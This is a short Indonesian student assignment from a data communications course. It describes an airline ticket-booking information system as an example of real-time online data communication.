    1. Aplikasi Sistem Informasi Pemesanan Tiket : Aplikasi ini merupakan sebuah contoh aplikasi komunikasi data yang On-Line (Real Time) dimana agen pemesanan tiket memerlukan data yang akurat dalam waktu yang singkat dalam menjual tiket kepada pelanggan sehingga pihak agen bisa memeberi informasi kepada pelanggan apakah masih ada tiket untuk penerbangan dengan rute tertentu dan maskapai tertentu. Manipulasi (menambah, mengubah dan menghapus) data pada sistem ini berlangsung sangat cepat.

( Tugas 1 KOMDAT--Teknik Elektro (non reguler) UNUD- I Putu Indra Winaya)

Gambar buat cover